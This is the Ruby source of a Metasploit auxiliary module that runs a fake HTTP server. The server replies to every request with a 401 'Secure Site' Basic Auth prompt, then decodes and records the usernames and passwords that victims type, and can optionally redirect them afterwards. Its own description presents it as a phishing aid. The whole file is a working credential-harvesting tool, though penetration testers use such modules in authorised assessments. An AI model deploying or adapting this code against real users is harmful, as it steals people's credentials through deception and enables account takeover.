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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Auxiliary::Report
def initialize(info={})
super(update_info(info,
'Name' => 'HTTP Client Basic Authentication Credential Collector',
'Description' => %q{
This module responds to all requests for resources with a HTTP 401. This should
cause most browsers to prompt for a credential. If the user enters Basic Auth creds
they are sent to the console.
This may be helpful in some phishing expeditions where it is possible to embed a
resource into a page.
This attack is discussed in Chapter 3 of The Tangled Web by Michal Zalewski.
},
'Author' => ['saint patrick <saintpatrick[at]l1pht.com>'],
'License' => MSF_LICENSE,
'Actions' =>
[
[ 'Capture' ]
],
'PassiveActions' =>
[
'Capture'
],
'DefaultAction' => 'Capture'
))
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 80 ]),
OptString.new('REALM', [ true, "The authentication realm you'd like to present.", "Secure Site" ]),
OptString.new('RedirectURL', [ false, "The page to redirect users to after they enter basic auth creds" ])
])
end
# Not compatible today
def support_ipv6?
false
end
def run
@myhost = datastore['SRVHOST']
@myport = datastore['SRVPORT']
@realm = datastore['REALM']
exploit
end
def report_cred(opts)
service_data = {
address: opts[:ip],
port: opts[:port],
service_name: opts[:service_name],
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: opts[:user],
private_data: opts[:password],
private_type: :password
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
proof: opts[:proof]
}.merge(service_data)
create_credential_login(login_data)
end
def on_request_uri(cli, req)
if(req['Authorization'] and req['Authorization'] =~ /basic/i)
basic,auth = req['Authorization'].split(/\s+/)
user,pass = Rex::Text.decode_base64(auth).split(':', 2)
report_cred(
ip: cli.peerhost,
port: datastore['SRVPORT'],
service_name: 'HTTP',
user: user,
password: pass,
proof: req['Authorization']
)
print_good("HTTP Basic Auth LOGIN #{cli.peerhost} \"#{user}:#{pass}\" / #{req.resource}")
if datastore['RedirectURL']
print_status("Redirecting client #{cli.peerhost} to #{datastore['RedirectURL']}")
send_redirect(cli, datastore['RedirectURL'])
else
send_not_found(cli)
end
else
print_status("Sending 401 to client #{cli.peerhost}")
response = create_response(401, "Unauthorized")
response.headers['WWW-Authenticate'] = "Basic realm=\"#{@realm}\""
cli.send_response(response)
end
end
end